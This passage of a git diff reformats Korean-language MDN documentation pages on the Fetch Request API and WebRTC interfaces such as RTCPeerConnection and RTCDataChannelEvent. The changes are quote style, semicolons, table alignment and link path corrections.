@@ -54,10 +54,10 @@ fetch("https://www.example.org/").then((response) => {
           controller.enqueue(value);
           push();
         });
-      };
+      }
 
       push();
-    }
+    },
   });
 
   return new Response(stream, { headers: { "Content-Type": "text/html" } });
diff --git a/files/ko/web/api/request/credentials/index.md b/files/ko/web/api/request/credentials/index.md
index 8d69e4df301e3d..d3b1c412904c11 100644
--- a/files/ko/web/api/request/credentials/index.md
+++ b/files/ko/web/api/request/credentials/index.md
@@ -26,7 +26,7 @@ var myCred = request.credentials;
 다음의 snippet 에서, 우리는 {{domxref("Request.Request()")}} constructor 를 사용하여 (스크립트와 동일한 디렉토리의 이미지 파일을 위한) 새로운 요청(request)를 생성하고, 변수에 요청(request) credentials 을 저장한다.
 
 ```js
-var myRequest = new Request('flowers.jpg');
+var myRequest = new Request("flowers.jpg");
 var myCred = myRequest.credentials; // returns "same-origin" by default
 ```
 
diff --git a/files/ko/web/api/request/request/index.md b/files/ko/web/api/request/request/index.md
index 16aa6e95821810..a586e660689f80 100644
--- a/files/ko/web/api/request/request/index.md
+++ b/files/ko/web/api/request/request/index.md
@@ -31,8 +31,8 @@ var myRequest = new Request(input, init);
 
 ## 에러
 
-| **타입**    | **내용**                                                                                                                                                          |
-| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **타입**    | **내용**                                                                                                                                                             |
+| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `TypeError` | [Firefox 43](/ko/docs/Mozilla/Firefox/Releases/43)부터, `http://user:password@example.com` 와 같인 credential을 포함하는 경우 `Request()` 는 타입 에러를 반환합니다. |
 
 ## 예시
@@ -40,16 +40,18 @@ var myRequest = new Request(input, init);
 [Fetch Request example](https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request)에서는, 생성자를 사용해 새로운 Requst 객체를 생성하고 나서 {{domxref("GlobalFetch.fetch")}}인터페이스를 이용해 Request로 읽어온 결과를 취득하고 있습니다. 특정 사진을 가져와서 사용할 수 있게 만들기 위해서 MIME타입을 설정하고, Response의 {{domxref("Body.blob")}}를 반환합니다. 그 후로 오브젝트 URL을 생성해 {{htmlelement("img")}}요소를 표시하도록 합니다. [Fetch Request live](http://mdn.github.io/fetch-examples/fetch-request/)를 참고해주시기 바랍니다.
 
 ```js
-var myImage = document.querySelector('img');
-
-var myRequest = new Request('flowers.jpg');
-
-fetch(myRequest).then(function(response) {
-  return response.blob();
-}).then(function(response) {
-  var objectURL = URL.createObjectURL(response);
-  myImage.src = objectURL;
-});
+var myImage = document.querySelector("img");
+
+var myRequest = new Request("flowers.jpg");
+
+fetch(myRequest)
+  .then(function (response) {
+    return response.blob();
+  })
+  .then(function (response) {
+    var objectURL = URL.createObjectURL(response);
+    myImage.src = objectURL;
+  });
 ```
 
 [Fetch Request with init example](https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request-with-init)에서는 fetch()를 실행할 때 마다, init객체를 전달하는 것 이외에는 거의 동일한 기능을 수행합니다. [Fetch Request init live](http://mdn.github.io/fetch-examples/fetch-request-with-init/) 를 참조해주시기 바랍니다.
diff --git a/files/ko/web/api/rtcdatachannelevent/channel/index.md b/files/ko/web/api/rtcdatachannelevent/channel/index.md
index 4d9b863739b4e2..e370d359d2617c 100644
--- a/files/ko/web/api/rtcdatachannelevent/channel/index.md
+++ b/files/ko/web/api/rtcdatachannelevent/channel/index.md
@@ -10,7 +10,7 @@ slug: Web/API/RTCDataChannelEvent/channel
 ## Syntax
 
 ```js
- var channel = RTCDataChannelEvent.channel;
+var channel = RTCDataChannelEvent.channel;
 ```
 
 ### 값
@@ -22,12 +22,12 @@ slug: Web/API/RTCDataChannelEvent/channel
 {{event("datachannel")}} 이벤트 핸들러 안 코드의 첫 줄에서 이벤트 객체의 채널을 가져오고, 이를 데이터 트래픽을 관리하는 코드에 사용 될 수 있도록 지역 변수로 저장합니다.
 
 ```js
-pc.ondatachannel = function(event) {
+pc.ondatachannel = function (event) {
   inboundDataChannel = event.channel;
   inboundDataChannel.onmessage = handleIncomingMessage;
   inboundDataChannel.onopen = handleChannelOpen;
   inboundDataChannel.onclose = handleChannelClose;
-}
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/rtcdatachannelevent/index.md b/files/ko/web/api/rtcdatachannelevent/index.md
index c5db5f094a1eb8..9258ab35049c33 100644
--- a/files/ko/web/api/rtcdatachannelevent/index.md
+++ b/files/ko/web/api/rtcdatachannelevent/index.md
@@ -2,6 +2,7 @@
 title: RTCDataChannelEvent
 slug: Web/API/RTCDataChannelEvent
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 **`RTCDataChannelEvent()`** 생성자는 {{domxref("datachannel")}}을 나타내는 신규 {{domxref("RTCDataChannelEvent")}} 객체를 반환합니다. 이 이벤트는 두 피어 사이에서 원격 피어가 {{domxref("RTCDataChannel")}}을 개통하도록 요청되었을때, {{domxref("RTCPeerConnection")}} 에 전달됩니다.
@@ -29,12 +30,12 @@ _[`Event`](/ko/docs/Web/API/Event)의 속성을 상속합니다._
 아래의 예제에서는 `datachannel` 이벤트 핸들러를 설정해서 데이터 채널의 참조된 정보를 저장하고, 모니터링 할 이벤트들에 대한 핸들러를 새로 설정합니다. {{domxref("RTCDataChannelEvent.channel", "channel")}} 속성은 다른 피어와의 연결을 나타내는 {{domxref("RTCDataChannel")}}을 제공합니다.
 
 ```js
-pc.ondatachannel = function(event) {
+pc.ondatachannel = function (event) {
   inboundDataChannel = event.channel;
   inboundDataChannel.onmessage = handleIncomingMessage;
   inboundDataChannel.onopen = handleChannelOpen;
   inboundDataChannel.onclose = handleChannelClose;
-}
+};
 ```
 
 데이터 채널을 어떤 방식으로 사용하는지에 대한 더 좋은 예제는 [A simple RTCDataChannel sample](/ko/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample)를 확인하십시오.
diff --git a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.md b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.md
index bf1c549e8bc68d..cd991773f3f92d 100644
--- a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.md
+++ b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.md
@@ -33,7 +33,7 @@ var event = new RTCDataChannelEvent(type, RtcDataChannelEventInit);
 아래 예제는 신규 {{event("datachannel")}}를 생성합니다. `dc`는 이미 존재하는 데이터 채널을 뜻합니다.
 
 ```js
-var event = new RTCDataChannelEvent("datachannel", {"channel": dc});
+var event = new RTCDataChannelEvent("datachannel", { channel: dc });
 ```
 
 ## 명세
diff --git a/files/ko/web/api/rtcicecandidate/candidate/index.md b/files/ko/web/api/rtcicecandidate/candidate/index.md
index 530466b45d8cb3..42f0ecf14886e7 100644
--- a/files/ko/web/api/rtcicecandidate/candidate/index.md
+++ b/files/ko/web/api/rtcicecandidate/candidate/index.md
@@ -23,7 +23,7 @@ var candidate = RTCIceCandidate.candidate;
 
 candidate 문자열에 대한 구문은 {{RFC(5245, "", 15.1)}}에 설명되어있습니다.
 
-``` plain
+```plain
 a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host
 ```
 
@@ -60,7 +60,7 @@ function handleNewIceCandidate(candidateSDP) {
 위 예제는 더 간단하게 표현 될 수 있습니다. ECMAScript 2016의 고급 기능들을 사용해서 아래와 같이 나타낼 수 있습니다:
 
 ```js
-let handleNewIceCandidate = candidateSDP =>
+let handleNewIceCandidate = (candidateSDP) =>
   myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP));
 ```
 
diff --git a/files/ko/web/api/rtcicecandidate/tojson/index.md b/files/ko/web/api/rtcicecandidate/tojson/index.md
index 9e47527fffa718..7da352a576d430 100644
--- a/files/ko/web/api/rtcicecandidate/tojson/index.md
+++ b/files/ko/web/api/rtcicecandidate/tojson/index.md
@@ -2,6 +2,7 @@
 title: RTCIceCandidate. toJSON()
 slug: Web/API/RTCIceCandidate/toJSON
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCIceCandidate")}} 메소드인 **`toJSON()`**은 JSON 형식으로 호출된 RTCIceCandidate를 {{domxref("RTCIceCandidateInit")}} 객체 형식으로 변환합니다. .
diff --git a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.md b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.md
index 7e2b08d2b79c26..3cb7c353b843e6 100644
--- a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.md
+++ b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.md
@@ -71,7 +71,7 @@ ICE candidate 추가 시도 중 에러가 발생하면, 이 메소드에서 반
 //   }
 // }
 
-signalingChannel.onmessage = receivedString => {
+signalingChannel.onmessage = (receivedString) => {
   const message = JSON.parse(receivedString);
   if (message.ice) {
     // A typical value of ice here might look something like this:
@@ -80,19 +80,19 @@ signalingChannel.onmessage = receivedString => {
     //
     // Pass the whole thing to addIceCandidate:
 
-    pc.addIceCandidate(message.ice).catch(e => {
+    pc.addIceCandidate(message.ice).catch((e) => {
       console.log("Failure during addIceCandidate(): " + e.name);
     });
   } else {
     // handle other things you might be signaling, like sdp
   }
-}
+};
 ```
 
 원격 유저에 의해 이러한 방식으로 신호를 전달한 마지막 candiate는 "candidate 종료"를 나타내는 특수한 candidate가 됩니다. "candidate 종료"를 수동으로 설정하려면 다음과 같이 하면 됩니다:
 
 ```js
-pc.addIceCandidate({candidate:''});
+pc.addIceCandidate({ candidate: "" });
 ```
 
 하지만, 대부분의 경우 {{domxref("RTCPeerConnection")}}가 적절한 이벤트를 보내서 처리해주기 때문에 이를 수동으로 확인해야 할 필요는 없습니다.
diff --git a/files/ko/web/api/rtcpeerconnection/addtrack/index.md b/files/ko/web/api/rtcpeerconnection/addtrack/index.md
index bcc8aff8da9e71..62fd7716b633a0 100644
--- a/files/ko/web/api/rtcpeerconnection/addtrack/index.md
+++ b/files/ko/web/api/rtcpeerconnection/addtrack/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.addTrack()
 slug: Web/API/RTCPeerConnection/addTrack
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnection")}}의 메소드인 **`addTrack()`**은 다른 유저에게 전송될 트랙들의 묶음에 신규 미디어 트랙을 추가합니다.
@@ -66,7 +67,7 @@ async openCall(pc) {
 ```js
 let inboundStream = null;
 
-pc.ontrack = ev => {
+pc.ontrack = (ev) => {
   if (ev.streams && ev.streams[0]) {
     videoElem.srcObject = ev.streams[0];
   } else {
@@ -76,7 +77,7 @@ pc.ontrack = ev => {
     }
     inboundStream.addTrack(ev.track);
   }
-}
+};
 ```
 
 여기서 `track` 이벤트 핸들러는 스트림을 명시한 경우, 이 이벤트에서 명시한 첫 번째 스트림에 트랙을 추가합니다. 그렇지 않은 경우에는 `ontrack`이 처음 호출되는 순간에 신규 스트림이 생성되고 비디오 엘리먼트에 부착된 다음에서야 트랙이 신규 스트림에 추가됩니다. 이때부터 신규 랙이 해당 스트림에 추가됩니다.
@@ -84,14 +85,14 @@ pc.ontrack = ev => {
 또한, 각각의 트랙을 받을 때 마다, 신규 스트림을 만들 수 있습니다:
 
 ```js
-pc.ontrack = ev => {
+pc.ontrack = (ev) => {
   if (ev.streams && ev.streams[0]) {
     videoElem.srcObject = ev.streams[0];
   } else {
     let inboundStream = new MediaStream(track);
     videoElem.srcObject = inboundStream;
   }
-}
+};
 ```
 
 #### 특정 스트림에 트랙 연동하기
@@ -149,20 +150,21 @@ pc.ontrack = ({streams: [stream]} => videoElem.srcObject = stream;
 
 ```js
 var mediaConstraints = {
-  audio: true,            // We want an audio track
-  video: true             // ...and we want a video track
+  audio: true, // We want an audio track
+  video: true, // ...and we want a video track
 };
 
 var desc = new RTCSessionDescription(sdp);
 
-pc.setRemoteDescription(desc).then(function () {
-  return navigator.mediaDevices.getUserMedia(mediaConstraints);
-})
-.then(function(stream) {
-  previewElement.srcObject = stream;
+pc.setRemoteDescription(desc)
+  .then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function (stream) {
+    previewElement.srcObject = stream;
 
-  stream.getTracks().forEach(track => pc.addTrack(track, stream));
-})
+    stream.getTracks().forEach((track) => pc.addTrack(track, stream));
+  });
 ```
 
 위의 코드는 SDP를 원격 유저로부터 수신 받아서 신규 {{domxref("RTCSessionDescription")}}를 만들고 {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}로 전달합니다. `pc.setRemoteDescription(desc)`의 실행이 성공하게되면, {{domxref("MediaDevices.getUserMedia()")}}를 사용해서 로컬 유저의 웹캠과 마이크에 대한접근 권한을 얻습니다. 앞의 과정이 성공하게되면, 스트림은 {{HTMLElement("video")}} 엘리먼트를 위한 소스로 지정됩니다. 이 스트림은 `previewElement`변수를 통해 참조가 가능해집니다.
diff --git a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.md b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.md
index 4b0d6f0467d2b4..086fe1b696fef7 100644
--- a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.md
+++ b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.md
@@ -14,7 +14,7 @@ slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
 ## Syntax
 
 ```js
- var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
+var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
 ```
 
 ### 값
diff --git a/files/ko/web/api/rtcpeerconnection/connectionstate/index.md b/files/ko/web/api/rtcpeerconnection/connectionstate/index.md
index c18e25103b9ce8..c8f0522536eb2e 100644
--- a/files/ko/web/api/rtcpeerconnection/connectionstate/index.md
+++ b/files/ko/web/api/rtcpeerconnection/connectionstate/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.connectionState
 slug: Web/API/RTCPeerConnection/connectionState
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnection")}} 인터페이스의 읽기 속성인 **`connectionState`** 는 피어 연결의 현재 상태를 알려줍니다. 이 속성은 [`RTCPeerConnectionState`](#RTCPeerConnectionState_enum) `enum` 값 중 하나를 문자열로 반환해줍니다.
@@ -22,13 +23,13 @@ var connectionState = RTCPeerConnection.connectionState;
 
 `RTCPeerConnectionState` enum은 `RTCPeerConnection`이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다.
 
-| 상수명  | 설명  |
-| --- | --- |
-| `"new"`          | 연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 `"new"` 상태이고, 그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: `"connecting"`, `"checking"`, `"failed"`, 혹은 `"disconnected"`, 혹은 모든 연결의 전송이 끝났다는 `"closed"`상태.                                                                                |
-| `"connecting"`   | 하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 `RTCIceConnectionState`가 `"checking"` 혹은 `"connected"`이며, 그 어떤 전송도 `"failed"`상태가 아니여야합니다. **<<< Make this a link once I know where that will be documented**                                                         |
-| `"connected"`    | 연결에 의해 사용되는 모든 ICE 전송이 사용 중 (`"connected"` 혹은 `"completed"`)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 `"connected"` 혹은 `"completed"`입니다.                                                                                                                                            |
-| `"disconnected"` | 연결에 대한 최소 한 개의 ICE 전송이 `"disconnected"`상태이고, 그 외의 다른 전송 상태는 `"failed"`, `"connecting"`, 혹은 `"checking"`이 아님을 알려주는 값.                                                                                                                                                                 |
-| `"failed"`       | 연결에 대한 하나 혹은 여러개의 ICE 전송이 `"failed"`상태임을 알려주는 값.                                                                                                                                                                                                                                                  |
+| 상수명           | 설명                                                                                                                                                                                                                                                                                                |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `"new"`          | 연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 `"new"` 상태이고, 그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: `"connecting"`, `"checking"`, `"failed"`, 혹은 `"disconnected"`, 혹은 모든 연결의 전송이 끝났다는 `"closed"`상태.                                                         |
+| `"connecting"`   | 하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 `RTCIceConnectionState`가 `"checking"` 혹은 `"connected"`이며, 그 어떤 전송도 `"failed"`상태가 아니여야합니다. **<<< Make this a link once I know where that will be documented**                                  |
+| `"connected"`    | 연결에 의해 사용되는 모든 ICE 전송이 사용 중 (`"connected"` 혹은 `"completed"`)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 `"connected"` 혹은 `"completed"`입니다.                                                                                                                     |
+| `"disconnected"` | 연결에 대한 최소 한 개의 ICE 전송이 `"disconnected"`상태이고, 그 외의 다른 전송 상태는 `"failed"`, `"connecting"`, 혹은 `"checking"`이 아님을 알려주는 값.                                                                                                                                          |
+| `"failed"`       | 연결에 대한 하나 혹은 여러개의 ICE 전송이 `"failed"`상태임을 알려주는 값.                                                                                                                                                                                                                           |
 | `"closed"`       | `RTCPeerConnection` 개통되지 않음을 알려주는 값.2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 [`RTCPeerConnectionState` enum](#RTCPeerConnectionState_enum) 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. |
 
 ## 예시
diff --git a/files/ko/web/api/rtcpeerconnection/connectionstatechange_event/index.md b/files/ko/web/api/rtcpeerconnection/connectionstatechange_event/index.md
index f0f025df3c653e..e20acee29faac3 100644
--- a/files/ko/web/api/rtcpeerconnection/connectionstatechange_event/index.md
+++ b/files/ko/web/api/rtcpeerconnection/connectionstatechange_event/index.md
@@ -21,8 +21,8 @@ RTCPeerConnection.onconnectionstatechange = eventHandler;
 ## 예시
 
 ```js
-pc.onconnectionstatechange = function(event) {
-  switch(pc.connectionState) {
+pc.onconnectionstatechange = function (event) {
+  switch (pc.connectionState) {
     case "connected":
       // The connection has become fully connected
       break;
@@ -34,7 +34,7 @@ pc.onconnectionstatechange = function(event) {
       // The connection has been closed
       break;
   }
-}
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/rtcpeerconnection/createanswer/index.md b/files/ko/web/api/rtcpeerconnection/createanswer/index.md
index 9bed4a7265d455..371e8f36b892a1 100644
--- a/files/ko/web/api/rtcpeerconnection/createanswer/index.md
+++ b/files/ko/web/api/rtcpeerconnection/createanswer/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.createAnswer()
 slug: Web/API/RTCPeerConnection/createAnswer
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnection")}} 인터페이스의 **`createAnswer()`** 메소드는 WebRTC 연결 중 발생하는 offer/answer 네고시에이션에서 원격 유저로부터 받은 offer에 대한 {{Glossary("SDP")}} answer를 생성합니다. 이 answer는 세션이 이미 부착된 미디어, 브라우저에서 지원하는 코덱 및 옵션, 그리고 이미 수집된 {{Glossary("ICE")}} candidate에 대한 정보를 담고 잇습니다. Answer는 반환 된 {{jsxref("Promise")}}에 전달되고, 그 다음에는 네고시에이션 과정을 계속 진행하기 위해서 offer의 소스에게 전달되야합니다.
@@ -48,13 +49,14 @@ RTCPeerConnection.createAnswer(successCallback, failureCallback[, options]);
 > **참고:** 주의 할 점은 이것이 시그널링 과정의 일부이며, 전송계층 구현에 대한 세부사항은 전적으로 개발자에게 달려있다는 것 입니다. 여기서는 [WebSocket](/ko/docs/Web/API/WebSocket_API) 연결을 사용해서 다른 유저에게 "video-answer" 값이 있는 `type` 필드 및 offer를 보낸 장치에게 전달 할 answer를 담은 {{Glossary("JSON")}} 메세지를 보냅니다. 프로미스 fulfillment 핸들러의 다른 모든 항목들과 함께 `sendToServer()`함수로 전달되는 객체의 내용을 어떻게 할 지는 개발자의 디자인에 달려잇습니다.
 
 ```js
-pc.createAnswer().then(function(answer) {
-  return pc.setLocalDescription(answer);
-})
-.then(function() {
-  // Send the answer to the remote peer through the signaling server.
-})
-.catch(handleGetUserMediaError);
+pc.createAnswer()
+  .then(function (answer) {
+    return pc.setLocalDescription(answer);
+  })
+  .then(function () {
+    // Send the answer to the remote peer through the signaling server.
+  })
+  .catch(handleGetUserMediaError);
 ```
 
 위의 예제는 {{domxref("RTCPeerConnection")}}가 신규 answer를 만들고 반환하도록 요청합니다. 프로미스 핸들러에 반환된 answer는 {{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}} 호출에 의해 연결의 로컬 엔드에 대한 description으로 설정됩니다.
diff --git a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.md b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.md
index ff3f572fb915d8..e6f7379ea30417 100644
--- a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.md
+++ b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.createDataChannel()
 slug: Web/API/RTCPeerConnection/createDataChannel
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnection")}} 인터페이스의 **`createDataChannel()`** 메소드는 어떤 형식의 데이터든 송신 할 수 있도록 원격 유저와 연결하는 신규 채널을 생성합니다.이 방법은 이미지, 파일 전송, 문자 채팅, 게임 패킷 업데이트 등과 같은 백채널 컨텐츠에 유용하게 사용 가능합니다.
@@ -67,27 +68,27 @@ dataChannel = RTCPeerConnection.createDataChannel(label[, options]);
 
 var pc = new RTCPeerConnection(options);
 var channel = pc.createDataChannel("chat");
-channel.onopen = function(event) {
-  channel.send('Hi you!');
-}
-channel.onmessage = function(event) {
+channel.onopen = function (event) {
+  channel.send("Hi you!");
+};
+channel.onmessage = function (event) {
   console.log(event.data);
-}
+};
 ```
 
 ```js
 // Answerer side
 
 var pc = new RTCPeerConnection(options);
-pc.ondatachannel = function(event) {
+pc.ondatachannel = function (event) {
   var channel = event.channel;
-  channel.onopen = function(event) {
-    channel.send('Hi back!');
-  }
-  channel.onmessage = function(event) {
+  channel.onopen = function (event) {
+    channel.send("Hi back!");
+  };
+  channel.onmessage = function (event) {
     console.log(event.data);
-  }
-}
+  };
+};
 ```
 
 다른 방법으로는 양쪽에서 합의한 id를 사용하여 보다 대칭적인 대역 밴드 외 협상이 가능합니다. (id는 0입니다):
@@ -96,13 +97,13 @@ pc.ondatachannel = function(event) {
 // Both sides
 
 var pc = new RTCPeerConnection(options);
-var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
-channel.onopen = function(event) {
-  channel.send('Hi!');
-}
-channel.onmessage = function(event) {
+var channel = pc.createDataChannel("chat", { negotiated: true, id: 0 });
+channel.onopen = function (event) {
+  channel.send("Hi!");
+};
+channel.onmessage = function (event) {
   console.log(event.data);
-}
+};
 ```
 
 연결 및 채널이 구성되는 예를 더 자세히 알고 싶다면, [A simple RTCDataChannel sample](/ko/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample)를 참조하십시오.
diff --git a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.md b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.md
index 73b7f74469b754..3734eb5ff8f8a2 100644
--- a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.md
+++ b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.md
@@ -7,7 +7,7 @@ slug: Web/API/RTCPeerConnection/currentLocalDescription
 
 읽기 속성인 **`RTCPeerConnection.currentLocalDescription`** 은 가장 최근에 {{domxref("RTCPeerConnection")}}가 성공적으로 네고시에이션을 마치고 원격 피어와 연결된, 연결인터페이스의 로컬 엔드를 설명하는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 이외에도 설명에 의해 offer 혹은 answer가 처음으로 인스턴스화 되면 ICE 에이전트에 의해 이미 생성됬을수도 있는 ICE candidate 목록이 포함되어 있습니다.
 
-`currentLocalDescription`을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, [Pending and current descriptions](/en-US/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 살펴보십시오.
+`currentLocalDescription`을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, [Pending and current descriptions](/ko/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 살펴보십시오.
 
 > **참고:** {{domxref("RTCPeerConnection.localDescription")}}와 다르게, `currentLocalDescription`는 연결 인터페이스의 로컬 엔드에 대한 현재 상태를 나타내는 값 입니다. `localDescription`은 연결 인터페이스가 현재 어떤 상태로 전환 중인지를 설명하는 값을 명시 할 수 있습니다.
 
diff --git a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.md b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.md
index a08c838824d30e..d2bf0e63ca20bc 100644
--- a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.md
+++ b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.md
@@ -7,7 +7,7 @@ slug: Web/API/RTCPeerConnection/currentRemoteDescription
 
 읽기 속성인 `RTCPeerConnection.currentRemoteDescription`은 마지막 {{domxref("RTCPeerConnection")}} 이후 가장 최근에 원격 유저와의 네고시에이션 및 연결을 성공적으로 마친 연결의 원격 엔드 포인트를 알려주는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 추가적으로 이 속성은 description에 의해 표현되는 마지막 offer 및 answer가 처음 시작되면 ICE 에이전트에 의해 생성이 되었을 수도 있는 모든 ICE candidate들의 리스트를 포함합니다.
 
-`currentRemoteDescription`를 바꾸기 위해서는, {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, [Pending and current descriptions](/en-US/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions) 를 참조하십시오.
+`currentRemoteDescription`를 바꾸기 위해서는, {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, [Pending and current descriptions](/ko/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions) 를 참조하십시오.
 
 > **참고:** {{domxref("RTCPeerConnection.remoteDescription")}}와 다르게, 이 값은 연결의 로컬 엔드 포인트에 대한 실제 현재 상태를 보여줍니다. `remoteDescription`은 연결이 현재 어느 상태로 바뀌는지에 대한 설명도 명시 할 수 있습니다.
 
@@ -31,8 +31,7 @@ const pc = new RTCPeerConnection();
 const sd = pc.currentRemoteDescription;
 if (sd) {
   alert(`Local session: type='${sd.type}'; sdp description='${sd.sdp}'`);
-}
-else {
+} else {
   alert("No local session yet.");
 }
 ```
@@ -49,4 +48,4 @@ else {
 
 - {{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.remoteDescription")}}
 - {{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}
-- [WebRTC](/en-US/docs/Web/API/WebRTC_API)
+- [WebRTC](/ko/docs/Web/API/WebRTC_API)
diff --git a/files/ko/web/api/rtcpeerconnection/datachannel_event/index.md b/files/ko/web/api/rtcpeerconnection/datachannel_event/index.md
index a95e3f205c6e7b..bb217fc0ca7590 100644
--- a/files/ko/web/api/rtcpeerconnection/datachannel_event/index.md
+++ b/files/ko/web/api/rtcpeerconnection/datachannel_event/index.md
@@ -3,6 +3,7 @@ title: RTCPeerConnection.ondatachannel
 slug: Web/API/RTCPeerConnection/datachannel_event
 original_slug: Web/API/RTCPeerConnection/ondatachannel
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 **`RTCPeerConnection.ondatachannel`** 속성은 {{domxref("RTCPeerConnection")}}에서 발생하는 {{event("datachannel")}} 이벤트에 의해 호출되는 {{event("Event_handlers", "event handler")}}입니다. 이 속성에는 함수를 정의하게됩니다. {{domxref("RTCDataChannelEvent")}}의 한 종류인 이 이벤트는 원격 유저가 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}를 호출해서 연결에 {{domxref("RTCDataChannel")}}가 추가되었을 때, 전달됩니다.
@@ -22,10 +23,10 @@ RTCPeerConnection.ondatachannel = function;
 ## 예시
 
 ```js
-pc.ondatachannel = function(ev) {
-  console.log('Data channel is created!');
-  ev.channel.onopen = function() {
-    console.log('Data channel is open and ready to be used.');
+pc.ondatachannel = function (ev) {
+  console.log("Data channel is created!");
+  ev.channel.onopen = function () {
+    console.log("Data channel is open and ready to be used.");
   };
 };
 ```
diff --git a/files/ko/web/api/rtcpeerconnection/generatecertificate_static/index.md b/files/ko/web/api/rtcpeerconnection/generatecertificate_static/index.md
